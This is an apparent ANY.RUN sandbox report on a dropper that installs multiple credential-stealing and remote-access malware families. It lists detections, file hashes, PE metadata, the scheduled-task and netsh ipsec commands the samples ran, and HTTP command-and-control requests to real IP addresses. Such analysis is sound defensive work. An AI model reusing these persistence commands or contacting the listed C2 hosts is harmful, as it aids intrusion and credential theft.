File name:

RIP_YOUR_PC_LOL.exe

Full analysis: https://app.any.run/tasks/f1c48679-9f01-4aab-9ee4-c6019c6ed37e
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: January 14, 2022, 22:56:11
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
installer
trojan
rat
redline
evasion
keylogger
hawkeye
nanocore
backdoor
dcrat
fareit
pony
stealer
njrat
bladabindi
loader
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:

52867174362410D63215D78E708103EA

SHA1:

7AE4E1048E4463A4201BDEAF224C5B6FACE681BF

SHA256:

37D8E1CE3B6E6488942717AA78CB54785EDC985143BCC8D9BA9F42D73A3DBD7A

SSDEEP:

393216:HJLgf7BPkdKzrZciLxv8naSNtPr5rn57M84UTB9xO5/VWvJKJPkwdnfZ4y5SDkF/:poBPQwxMR7pn5qUTB9xOFVWvJKJPkwdd

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops executable file immediately after starts

      • RIP_YOUR_PC_LOL.exe (PID: 3416)
      • healastounding.exe (PID: 3076)
      • 8f1c8b40c7be588389a8d382040b23bb.exe (PID: 3356)
      • 22.exe (PID: 3156)
      • svchost.exe (PID: 2880)
      • ___11.19.exe (PID: 2932)
      • svchos.exe (PID: 2012)
      • TXPlatforn.exe (PID: 2700)
      • svchost.exe (PID: 664)

    • NANOCORE was detected

      • Opus.exe (PID: 1908)

    • HAWKEYE was detected

      • Pluto Panel.exe (PID: 2368)

    • Changes the autorun value in the registry

      • Opus.exe (PID: 1908)
      • Pluto Panel.exe (PID: 2368)
      • 3.exe (PID: 4032)
      • mediaget.exe (PID: 3816)

    • UAC/LUA settings modification

      • 3.exe (PID: 4032)
      • gay.exe (PID: 2092)

    • Application was dropped or rewritten from another process

      • 0fd7de5367376231a788872005d7ed4f.exe (PID: 772)
      • Pluto Panel.exe (PID: 2368)
      • 0fd7de5367376231a788872005d7ed4f.exe (PID: 2660)
      • gay.exe (PID: 904)
      • 22.exe (PID: 1972)
      • 22.exe (PID: 3156)
      • Opus.exe (PID: 1908)
      • test.exe (PID: 2892)
      • healastounding.exe (PID: 3076)
      • 8f1c8b40c7be588389a8d382040b23bb.exe (PID: 3356)
      • 8f1c8b40c7be588389a8d382040b23bb.exe (PID: 2884)
      • 4.exe (PID: 1420)
      • aaa.exe (PID: 3100)
      • a.exe (PID: 4036)
      • ___11.19.exe (PID: 1040)
      • ___11.19.exe (PID: 2932)
      • Dcvxaamev.exe (PID: 2780)
      • Dcvxaamev.exe (PID: 3640)
      • 3.exe (PID: 4032)
      • FFDvbcrdfqs.exe (PID: 2280)
      • FFDvbcrdfqs.exe (PID: 1808)
      • mediaget.exe (PID: 3816)
      • gay.exe (PID: 2092)
      • svchost.exe (PID: 2880)
      • aaa.exe (PID: 3740)
      • HD____11.19.exe (PID: 2264)
      • svchos.exe (PID: 2012)
      • TXPlatforn.exe (PID: 2700)
      • TXPlatforn.exe (PID: 308)
      • ������������ģ��.exe (PID: 3692)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2236)
      • schtasks.exe (PID: 1896)
      • schtasks.exe (PID: 2056)
      • schtasks.exe (PID: 1320)

    • Runs PING.EXE for delay simulation

      • cmd.exe (PID: 2688)

    • Actions looks like stealing of personal data

      • vbc.exe (PID: 2596)
      • a.exe (PID: 4036)
      • vbc.exe (PID: 3340)

    • REDLINE was detected

      • a.exe (PID: 4036)

    • Connects to CnC server

      • a.exe (PID: 4036)
      • gay.exe (PID: 2092)
      • aaa.exe (PID: 3740)

    • Uses NirSoft utilities to collect credentials

      • vbc.exe (PID: 2596)

    • Stealing of credential data

      • vbc.exe (PID: 2596)
      • Pluto Panel.exe (PID: 2368)
      • gay.exe (PID: 2092)

    • Steals credentials from Web Browsers

      • a.exe (PID: 4036)
      • vbc.exe (PID: 3340)

    • DCRAT was detected

      • gay.exe (PID: 2092)

    • NJRAT was detected

      • mediaget.exe (PID: 3816)

    • Writes to a start menu file

      • mediaget.exe (PID: 3816)

    • Loads dropped or rewritten executable

      • ������������ģ��.exe (PID: 3692)
      • svchost.exe (PID: 664)
      • svchos.exe (PID: 2012)

    • PONY was detected

      • aaa.exe (PID: 3740)

  • SUSPICIOUS

    • Creates files in the user directory

      • RIP_YOUR_PC_LOL.exe (PID: 3416)
      • healastounding.exe (PID: 3076)
      • Pluto Panel.exe (PID: 2368)
      • Opus.exe (PID: 1908)
      • 4.exe (PID: 1420)
      • 3.exe (PID: 4032)
      • ___11.19.exe (PID: 2932)
      • gay.exe (PID: 904)
      • mediaget.exe (PID: 3816)

    • Executable content was dropped or overwritten

      • RIP_YOUR_PC_LOL.exe (PID: 3416)
      • healastounding.exe (PID: 3076)
      • 8f1c8b40c7be588389a8d382040b23bb.exe (PID: 3356)
      • Opus.exe (PID: 1908)
      • 4.exe (PID: 1420)
      • 22.exe (PID: 3156)
      • 3.exe (PID: 4032)
      • svchost.exe (PID: 2880)
      • Pluto Panel.exe (PID: 2368)
      • ___11.19.exe (PID: 2932)
      • svchos.exe (PID: 2012)
      • TXPlatforn.exe (PID: 2700)
      • gay.exe (PID: 904)
      • mediaget.exe (PID: 3816)

    • Checks supported languages

      • RIP_YOUR_PC_LOL.exe (PID: 3416)
      • Pluto Panel.exe (PID: 2368)
      • healastounding.exe (PID: 3076)
      • 0fd7de5367376231a788872005d7ed4f.exe (PID: 2660)
      • gay.exe (PID: 904)
      • aaa.exe (PID: 3100)
      • 8f1c8b40c7be588389a8d382040b23bb.exe (PID: 3356)
      • 4.exe (PID: 1420)
      • FFDvbcrdfqs.exe (PID: 2280)
      • a.exe (PID: 4036)
      • test.exe (PID: 2892)
      • FFDvbcrdfqs.exe (PID: 1808)
      • Dcvxaamev.exe (PID: 2780)
      • 8f1c8b40c7be588389a8d382040b23bb.exe (PID: 2884)
      • Dcvxaamev.exe (PID: 3640)
      • Opus.exe (PID: 1908)
      • 22.exe (PID: 3156)
      • svchost.exe (PID: 2880)
      • 0fd7de5367376231a788872005d7ed4f.exe (PID: 772)
      • ___11.19.exe (PID: 2932)
      • TXPlatforn.exe (PID: 308)
      • svchos.exe (PID: 2012)
      • cmd.exe (PID: 2688)
      • TXPlatforn.exe (PID: 2700)
      • 3.exe (PID: 4032)
      • HD____11.19.exe (PID: 2264)
      • cmd.exe (PID: 2936)
      • vbc.exe (PID: 2596)
      • ������������ģ��.exe (PID: 3692)
      • mediaget.exe (PID: 3816)
      • gay.exe (PID: 2092)
      • vbc.exe (PID: 3340)

    • Reads the computer name

      • RIP_YOUR_PC_LOL.exe (PID: 3416)
      • Pluto Panel.exe (PID: 2368)
      • test.exe (PID: 2892)
      • healastounding.exe (PID: 3076)
      • FFDvbcrdfqs.exe (PID: 2280)
      • 8f1c8b40c7be588389a8d382040b23bb.exe (PID: 3356)
      • 4.exe (PID: 1420)
      • Dcvxaamev.exe (PID: 2780)
      • 8f1c8b40c7be588389a8d382040b23bb.exe (PID: 2884)
      • FFDvbcrdfqs.exe (PID: 1808)
      • Opus.exe (PID: 1908)
      • Dcvxaamev.exe (PID: 3640)
      • a.exe (PID: 4036)
      • 3.exe (PID: 4032)
      • 22.exe (PID: 3156)
      • 0fd7de5367376231a788872005d7ed4f.exe (PID: 772)
      • svchost.exe (PID: 2880)
      • TXPlatforn.exe (PID: 308)
      • svchos.exe (PID: 2012)
      • TXPlatforn.exe (PID: 2700)
      • ___11.19.exe (PID: 2932)
      • vbc.exe (PID: 2596)
      • ������������ģ��.exe (PID: 3692)
      • gay.exe (PID: 904)
      • gay.exe (PID: 2092)
      • mediaget.exe (PID: 3816)
      • vbc.exe (PID: 3340)
      • HD____11.19.exe (PID: 2264)

    • Drops a file that was compiled in debug mode

      • RIP_YOUR_PC_LOL.exe (PID: 3416)
      • healastounding.exe (PID: 3076)
      • 22.exe (PID: 3156)
      • TXPlatforn.exe (PID: 2700)
      • svchost.exe (PID: 664)

    • Reads Environment values

      • Pluto Panel.exe (PID: 2368)
      • FFDvbcrdfqs.exe (PID: 1808)
      • Opus.exe (PID: 1908)
      • 3.exe (PID: 4032)
      • a.exe (PID: 4036)
      • gay.exe (PID: 2092)
      • mediaget.exe (PID: 3816)
      • netsh.exe (PID: 3804)

    • Drops a file with a compile date too recent

      • healastounding.exe (PID: 3076)

    • Application launched itself

      • FFDvbcrdfqs.exe (PID: 2280)
      • 8f1c8b40c7be588389a8d382040b23bb.exe (PID: 3356)
      • Dcvxaamev.exe (PID: 2780)
      • 0fd7de5367376231a788872005d7ed4f.exe (PID: 2660)
      • TXPlatforn.exe (PID: 308)
      • aaa.exe (PID: 3100)

    • Creates files in the Windows directory

      • 22.exe (PID: 3156)
      • svchost.exe (PID: 2880)
      • svchos.exe (PID: 2012)
      • TXPlatforn.exe (PID: 2700)
      • svchost.exe (PID: 664)

    • Creates or modifies windows services

      • 22.exe (PID: 3156)
      • svchos.exe (PID: 2012)
      • TXPlatforn.exe (PID: 2700)

    • Creates executable files which already exist in Windows

      • ___11.19.exe (PID: 2932)

    • Executed via WMI

      • schtasks.exe (PID: 2236)
      • schtasks.exe (PID: 1896)
      • schtasks.exe (PID: 1320)
      • schtasks.exe (PID: 2056)

    • Creates files in the program directory

      • 0fd7de5367376231a788872005d7ed4f.exe (PID: 772)

    • Executed as Windows Service

      • TXPlatforn.exe (PID: 308)

    • Starts CMD.EXE for self-deleting

      • svchost.exe (PID: 2880)

    • Starts CMD.EXE for commands execution

      • svchost.exe (PID: 2880)
      • 3.exe (PID: 4032)

    • Creates files in the driver directory

      • TXPlatforn.exe (PID: 2700)

    • Checks for external IP

      • Pluto Panel.exe (PID: 2368)
      • 0fd7de5367376231a788872005d7ed4f.exe (PID: 772)

    • Executes scripts

      • Pluto Panel.exe (PID: 2368)

    • Starts itself from another location

      • gay.exe (PID: 904)

    • Reads the cookies of Google Chrome

      • a.exe (PID: 4036)

    • Reads the cookies of Mozilla Firefox

      • a.exe (PID: 4036)

    • Starts Internet Explorer

      • gay.exe (PID: 2092)

    • Reads Microsoft Outlook installation path

      • iexplore.exe (PID: 2896)

    • Uses NETSH.EXE for network configuration

      • mediaget.exe (PID: 3816)
      • 22.exe (PID: 3156)

    • Loads DLL from Mozilla Firefox

      • vbc.exe (PID: 3340)

    • Searches for installed software

      • a.exe (PID: 4036)

  • INFO

    • Dropped object may contain Bitcoin addresses

      • RIP_YOUR_PC_LOL.exe (PID: 3416)

    • Checks supported languages

      • schtasks.exe (PID: 2236)
      • schtasks.exe (PID: 1896)
      • PING.EXE (PID: 3552)
      • schtasks.exe (PID: 2056)
      • schtasks.exe (PID: 1320)
      • svchost.exe (PID: 664)
      • w32tm.exe (PID: 3676)
      • iexplore.exe (PID: 472)
      • iexplore.exe (PID: 2896)
      • netsh.exe (PID: 3804)

    • Reads the computer name

      • schtasks.exe (PID: 2236)
      • schtasks.exe (PID: 1896)
      • PING.EXE (PID: 3552)
      • svchost.exe (PID: 664)
      • schtasks.exe (PID: 2056)
      • schtasks.exe (PID: 1320)
      • w32tm.exe (PID: 3676)
      • iexplore.exe (PID: 472)
      • iexplore.exe (PID: 2896)
      • netsh.exe (PID: 3804)

    • Reads settings of System Certificates

      • a.exe (PID: 4036)
      • iexplore.exe (PID: 472)

    • Application launched itself

      • iexplore.exe (PID: 472)

    • Changes internet zones settings

      • iexplore.exe (PID: 472)

    • Checks Windows Trust Settings

      • iexplore.exe (PID: 472)

    • Reads internet explorer settings

      • iexplore.exe (PID: 2896)

    • Reads the date of Windows installation

      • iexplore.exe (PID: 472)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable Microsoft Visual Basic 6 (51)
.exe | InstallShield setup (26.7)
.exe | UPX compressed Win32 Executable (16.8)
.exe | Win32 Executable (generic) (2.8)
.exe | Generic Win/DOS Executable (1.2)

EXIF

EXE

AssemblyVersion: 14.5.48.86
ProductVersion: 14.5.48.86
ProductName: open
OriginalFileName: foampounding.exe
LegalCopyright: emerge © brutal
InternalName: foampounding.exe
FileVersion: 14.5.48.86
FileDescription: earfalserust
CompanyName: brawler
CharacterSet: Unicode
LanguageCode: Neutral
FileSubtype: -
ObjectFileType: Executable application
FileOS: Win32
FileFlags: (none)
FileFlagsMask: 0x003f
ProductVersionNumber: 14.5.48.86
FileVersionNumber: 14.5.48.86
Subsystem: Windows GUI
SubsystemVersion: 4
ImageVersion: -
OSVersion: 4
EntryPoint: 0x168b4ae
UninitializedDataSize: -
InitializedDataSize: 2048
CodeSize: 23631360
LinkerVersion: 11
PEType: PE32
TimeStamp: 2021:12:11 22:08:53+01:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 11-Dec-2021 21:08:53
CompanyName: brawler
FileDescription: earfalserust
FileVersion: 14.5.48.86
InternalName: foampounding.exe
LegalCopyright: emerge © brutal
OriginalFilename: foampounding.exe
ProductName: open
ProductVersion: 14.5.48.86
Assembly Version: 14.5.48.86

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000080

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 3
Time date stamp: 11-Dec-2021 21:08:53
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00002000
0x016894B4
0x01689600
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
7.78918
.rsrc
0x0168C000
0x00000598
0x00000600
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.08611
.reloc
0x0168E000
0x0000000C
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
0.11837

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.00112
490
UNKNOWN
UNKNOWN
RT_MANIFEST

Imports

mscoree.dll
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
118
Monitored processes
59
Malicious processes
19
Suspicious processes
9

Behavior graph

Click at the process to see the details
drop and start drop and start drop and start drop and start drop and start drop and start drop and start start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start rip_your_pc_lol.exe healastounding.exe #HAWKEYE pluto panel.exe 0fd7de5367376231a788872005d7ed4f.exe no specs 22.exe no specs test.exe gay.exe #NANOCORE opus.exe aaa.exe no specs 8f1c8b40c7be588389a8d382040b23bb.exe 4.exe #REDLINE a.exe ffdvbcrdfqs.exe no specs ffdvbcrdfqs.exe no specs dcvxaamev.exe no specs 8f1c8b40c7be588389a8d382040b23bb.exe dcvxaamev.exe 3.exe 22.exe ___11.19.exe no specs 0fd7de5367376231a788872005d7ed4f.exe ___11.19.exe svchost.exe schtasks.exe no specs txplatforn.exe no specs schtasks.exe no specs cmd.exe no specs txplatforn.exe svchos.exe ping.exe no specs schtasks.exe no specs schtasks.exe no specs hd____11.19.exe cmd.exe no specs w32tm.exe no specs vbc.exe #NJRAT mediaget.exe #DCRAT gay.exe iexplore.exe iexplore.exe no specs netsh.exe no specs vbc.exe #PONY aaa.exe netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs winlogon.exe no specs svchost.exe no specs cmd.exe no specs svchost.exe no specs ������������ģ��.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
308C:\Windows\System32\TXPlatforn.exe -autoC:\Windows\System32\TXPlatforn.exe—services.exe
User:
SYSTEM
Integrity Level:
SYSTEM
Exit code:
0
Modules
Images
c:\windows\system32\txplatforn.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
348netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDPC:\Windows\system32\netsh.exe—22.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Network Command Shell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\netsh.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\credui.dll
c:\windows\system32\gdi32.dll
472"C:\Program Files\Internet Explorer\iexplore.exe" http://localhost:12231/C:\Program Files\Internet Explorer\iexplore.exe
gay.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
580netsh ipsec static add filteraction name=FilteraAtion1 action=blockC:\Windows\system32\netsh.exe—22.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Network Command Shell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\netsh.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\credui.dll
c:\windows\system32\user32.dll
664C:\Windows\System32\svchost.exe -k "������������ģ��"C:\Windows\System32\svchost.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\1136593.txt
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
772"C:\Users\admin\AppData\Roaming\0fd7de5367376231a788872005d7ed4f.exe" C:\Users\admin\AppData\Roaming\0fd7de5367376231a788872005d7ed4f.exe
0fd7de5367376231a788872005d7ed4f.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\roaming\0fd7de5367376231a788872005d7ed4f.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\sechost.dll
c:\windows\system32\advapi32.dll
904"C:\Users\admin\AppData\Roaming\gay.exe" C:\Users\admin\AppData\Roaming\gay.exe
healastounding.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\roaming\gay.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
904netsh ipsec static add filterlist name=Filter1C:\Windows\system32\netsh.exe—22.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Network Command Shell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\netsh.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\credui.dll
c:\windows\system32\user32.dll
1040"C:\Users\admin\AppData\Roaming\___11.19.exe" C:\Users\admin\AppData\Roaming\___11.19.exe—RIP_YOUR_PC_LOL.exe
User:
admin
Company:
Osama bin Mohammed bin Awad bin Laden
Integrity Level:
MEDIUM
Description:
????
Exit code:
3221226540
Version:
8.9.8.9
Modules
Images
c:\users\admin\appdata\roaming\___11.19.exe
c:\windows\system32\ntdll.dll
1320schtasks.exe /create /tn "test" /sc minute /mo 14 /tr "'C:\Users\admin\AppData\Roaming\0fd7de5367376231a788872005d7ed4f\test.exe'" /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\rpcrt4.dll
Total events
32 333
Read events
31 163
Write events
1 158
Delete events
12

Modification events

(PID) Process:(3416) RIP_YOUR_PC_LOL.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3416) RIP_YOUR_PC_LOL.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3416) RIP_YOUR_PC_LOL.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3416) RIP_YOUR_PC_LOL.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3076) healastounding.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3076) healastounding.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3076) healastounding.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3076) healastounding.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(904) gay.exeKey:HKEY_CURRENT_USER
Operation:writeName:di
Value:
!
(PID) Process:(3356) 8f1c8b40c7be588389a8d382040b23bb.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
Executable files
56
Suspicious files
9
Text files
22
Unknown types
20

Dropped files

PID
Process
Filename
Type
3416RIP_YOUR_PC_LOL.exeC:\Users\admin\AppData\Roaming\Pluto Panel.exeexecutable
MD5:ED666BF7F4A0766FCEC0E9C8074B089B
SHA256:D1330D349BFBD3AEA545FA08EF63339E82A3F4D04E27216ECC4C45304F079264
3076healastounding.exeC:\Users\admin\AppData\Roaming\gay.exeexecutable
MD5:8EEDC01C11B251481DEC59E5308DCCC3
SHA256:0184983A425FEF55D46B7E0EB729A245730EE26414EBE4B155917C0124A19C2D
3416RIP_YOUR_PC_LOL.exeC:\Users\admin\AppData\Roaming\22.exeexecutable
MD5:DBF9DAA1707B1037E28A6E0694B33A4B
SHA256:A604A3FF78644533FAC5EE9F198E9C5F2FA1AE2A5828186367A9E00935CFF6B6
1908Opus.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\run.datbinary
MD5:—
SHA256:—
3416RIP_YOUR_PC_LOL.exeC:\Users\admin\AppData\Roaming\0fd7de5367376231a788872005d7ed4f.exeexecutable
MD5:0FD7DE5367376231A788872005D7ED4F
SHA256:9083992637E90E412E6F4E77331EB69EE8DB821C54BBC38533E0F889CC4CA9DD
3416RIP_YOUR_PC_LOL.exeC:\Users\admin\AppData\Roaming\healastounding.exeexecutable
MD5:6FB798F1090448CE26299C2B35ACF876
SHA256:B4F86FF48C5F6B01E0AD4543FB78E0435E81F3EC2AACA89866862157C0DACF4F
2368Pluto Panel.exeC:\Users\admin\AppData\Roaming\pid.txttext
MD5:466ACCBAC9A66B805BA50E42AD715740
SHA256:50F33355A7EE09448ECD0E3A6C4FF600E0E15F9545BE01108DC163B36ADF141D
14204.exeC:\Users\admin\AppData\Roaming\3.exeexecutable
MD5:748A4BEA8C0624A4C7A69F67263E0839
SHA256:220D8F8FF82D413C81BD02DFA001E1C478E8FBEA44BAD24F21B3A5284E15632E
3076healastounding.exeC:\Users\admin\AppData\Roaming\a.exeexecutable
MD5:52CFD35F337CA837D31DF0A95CE2A55E
SHA256:5975E737584DDF2601C02E5918A79DAD7531DF0E13DCA922F0525F66BEC4B448
33568f1c8b40c7be588389a8d382040b23bb.exeC:\Users\admin\AppData\Local\Temp\FFDvbcrdfqs.exeexecutable
MD5:78D40B12FFC837843FBF4DE2164002F6
SHA256:308A15DABDC4CE6B96DD54954A351D304F1FCB59E8C93221BA1C412BCDFD1C44
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
63
TCP/UDP connections
56
DNS requests
38
Threats
101

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2884
8f1c8b40c7be588389a8d382040b23bb.exe
GET
—
194.180.174.53:80
http://194.180.174.53/brikitiki
DE
—
—
malicious
2092
gay.exe
GET
200
92.63.107.12:80
http://92.63.107.12/Poll/Phptrack8request/6python7Uploads/Lowtemporarypoll0/public/Proton/0Default/videoflower.php?APDPxlzzzJEssid0YiAYZ1ClAH=t7cM53DwaT&b413d86971fc42e54d3bceda7c50d277=1f7739aa83855b8bf4bc8f883f476c45&a9982c9e61949b25e6414a873df9509b=AN1kzYilDOyMmM5QDZ3AzN2MTMzYGNmZTM4IWYxMjNzYmM3MmZzE2M&APDPxlzzzJEssid0YiAYZ1ClAH=t7cM53DwaT
RU
text
2.11 Kb
malicious
2092
gay.exe
GET
200
92.63.107.12:80
http://92.63.107.12/Poll/Phptrack8request/6python7Uploads/Lowtemporarypoll0/public/Proton/0Default/videoflower.php?APDPxlzzzJEssid0YiAYZ1ClAH=t7cM53DwaT&7f528aaf1d498f0ae42141d6f48dd180=ANlFjZjlTZxQTN4gDNzITYxgjNyUWO1EDNwgzYldzMxQTOyMzM3cjY5gjM2QDN0kjMxIjNxQjM&a9982c9e61949b25e6414a873df9509b=ANjBTMkVmNyUDM2UWZ0QmMidTO2M2M1MDOycTZkBzY3MjY5EzN3ImZ&ad34a48e6d8df718784ff1d749fc05c5=0VfiIiOiEDNhJjMjJDNihDOlZ2Y2ImY5EzY2YmM5EGOzgzY0EGZiwiIyUjNxMWZ4gjZlRWO2IzMkVTOwQmNlZDNkVTM1YjYhNzYldTZxYGOhJiOiYjN2ETZ3ADOllzN3UWMmFjZzIjZjFTZ5UmMlhTYzMGZiwiIhVTYhdDZzEDNycDO4gTYzQDNmFmYjJDM1kTNlJDZ2ITYiF2N0EDOzIiOiQWNiFWM3UTO3ITY5UmZ2kTOjZmNwI2MyMzN2ATN0YTYis3W
RU
text
2.11 Kb
malicious
2092
gay.exe
GET
200
92.63.107.12:80
